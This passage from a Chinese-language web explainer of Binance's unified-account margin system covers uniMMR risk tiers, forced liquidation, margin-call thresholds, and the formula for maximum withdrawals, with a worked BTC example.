--&gt;|No| F&#123;&quot;uniMMR ≥ 120%?&quot;&#125;    F --&gt;|Yes| G[&quot;保证金提醒&lt;br/&gt;风险警告&quot;]    F --&gt;|No| H&#123;&quot;uniMMR ≥ 105%?&quot;&#125;    H --&gt;|Yes| I[&quot;只减仓模式&lt;br/&gt;限制开仓&quot;]    H --&gt;|No| J[&quot;强制平仓&lt;br/&gt;立即清算&quot;]    subgraph &quot;风险管理措施&quot;        G --&gt; G1[&quot;发送通知邮件/短信&lt;br/&gt;风险提醒&quot;]        G --&gt; G2[&quot;建议补充保证金&lt;br/&gt;增加权益&quot;]        G --&gt; G3[&quot;建议减仓操作&lt;br/&gt;降低风险敞口&quot;]        I --&gt; I1[&quot;禁止新开仓&lt;br/&gt;停止增加仓位&quot;]        I --&gt; I2[&quot;仅允许平仓&lt;br/&gt;只能减少风险&quot;]        I --&gt; I3[&quot;取消待成交订单&lt;br/&gt;清理挂单&quot;]        J --&gt; J1[&quot;系统自动平仓&lt;br/&gt;立即执行&quot;]        J --&gt; J2[&quot;取消所有挂单&lt;br/&gt;清空订单簿&quot;]        J --&gt; J3[&quot;IOC市价平仓&lt;br/&gt;快速清算&quot;]        J --&gt; J4[&quot;风险保障基金接管&lt;br/&gt;系统兜底&quot;]    end    subgraph &quot;用户响应策略&quot;        K[&quot;补充保证金&lt;br/&gt;充值资金&quot;]        L[&quot;减少仓位&lt;br/&gt;主动平仓&quot;]        M[&quot;资产组合调整&lt;br/&gt;优化配置&quot;]        N[&quot;停止新交易&lt;br/&gt;暂停操作&quot;]    end    G1 --&gt; K    G2 --&gt; K    G3 --&gt; L    I1 --&gt; L    I2 --&gt; L    G --&gt; M    I --&gt; N    style A fill:#e3f2fd    style C fill:#e8f5e8    style E fill:#e8f5e8    style G fill:#fff9c4    style I fill:#ffcc80    style J fill:#ffcdd2    style G1 fill:#fff3e0    style G2 fill:#fff3e0    style G3 fill:#fff3e0    style I1 fill:#ffe0b2    style I2 fill:#ffe0b2    style I3 fill:#ffe0b2    style J1 fill:#ffebee    style J2 fill:#ffebee    style J3 fill:#ffebee    style J4 fill:#ffebee    style K fill:#e8f5e8    style L fill:#e8f5e8    style M fill:#e8f5e8    style N fill:#e8f5e8</code></pre><h3 id="8-2-强制平仓机制">8.2 强制平仓机制</h3><p><strong>触发条件：</strong></p><ol><li>uniMMR低于1.05(105%)</li><li>统一账户调整后权益为负值</li></ol><p><strong>平仓流程：</strong></p><ul><li>系统取消全仓挂单</li><li>发出强平通知</li><li>所有强平订单以IOC订单执行</li><li>剩余仓位分配给风险保障基金或触发自动减仓(ADL)</li></ul><p><strong>特殊情况：</strong><br>当调整后权益跌至0以下时，即使没有未平仓位、贷款或订单，也可能发生强平。系统对负余额施加3%的额外缓冲额。</p><h3 id="8-3-追加保证金通知">8.3 追加保证金通知</h3><p>币安会在以下情况发送通知：</p><ul><li>uniMMR ≤ 2：第一次追加保证金通知</li><li>uniMMR ≤ 1.5：第二次追加保证金通知</li><li>uniMMR ≤ 1.2：自动转为只减仓模式</li><li>uniMMR ≤ 1.05：强行平仓通知</li></ul><h2 id="9-资金管理">9. 资金管理</h2><p>本章节介绍统一账户中的资金管理机制，包括提现上限和借贷上限的计算方法。这些机制既保障交易者资金安全，又提供灵活的资金调配选择。</p><h3 id="9-1-提现上限计算">9.1 提现上限计算</h3><p>确保操作后uniMMR不低于105%：</p><p><strong>总公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mop">min</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">ab</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span></span></span></span></span></p><p><strong>其中虚拟可用余额的计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span></span></p><p><strong>公式分解计算：</strong></p><p><strong>第一部分：虚拟可用余额 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span></span></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：账户总权益（所有资产价值）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>：所有仓位的初始保证金（锁定资金）</li><li>含义：扣除必要保证金后的可用资金</li></ul><p><strong>第二部分：折算率限制 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3451em;vertical-align:-0.4509em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8942em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3488em;margin-left:-0.1389em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1512em;"><span></span></span></span></span></span></span><span class="mbin mtight">×</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3488em;margin-left:-0.0278em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1512em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4159em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3488em;margin-left:-0.0502em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1512em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4509em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资产指数价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：抵押率（资产保证金有效性）</li><li>含义：提现该资产对保证金的最大允许影响</li></ul><p><strong>为什么除以折算率？（反向思维）</strong><br>这是反向计算：提现X个资产会减少保证金价值 <code>X × P_index × r_collateral</code>，这个减少量不能超过虚拟可用余额：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.786em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6922em;"></span><span class="mrel amsrm">∴</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1963em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">co</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0502em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>示例：</strong></p><ul><li>虚拟可用余额：36,000 USDT</li><li>BTC价格：40,000 USDT</li><li>BTC折算率：90%</li><li>提现1个BTC影响：<code>1 × 40,000 × 0.9 = 36,000 USDT</code>保证金价值</li><li>最大提现量：<code>36,000 ÷ (40,000 × 0.9) = 1个BTC</code></li></ul><p><strong>第三部分：账户余额限制 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">ab</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></strong></p><ul><li>含义：账户实际拥有的资产数量</li></ul><p><strong>第四部分：取最严格限制 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">...</span><span class="mclose">)</span></span></span></span> 和确保非负 <span 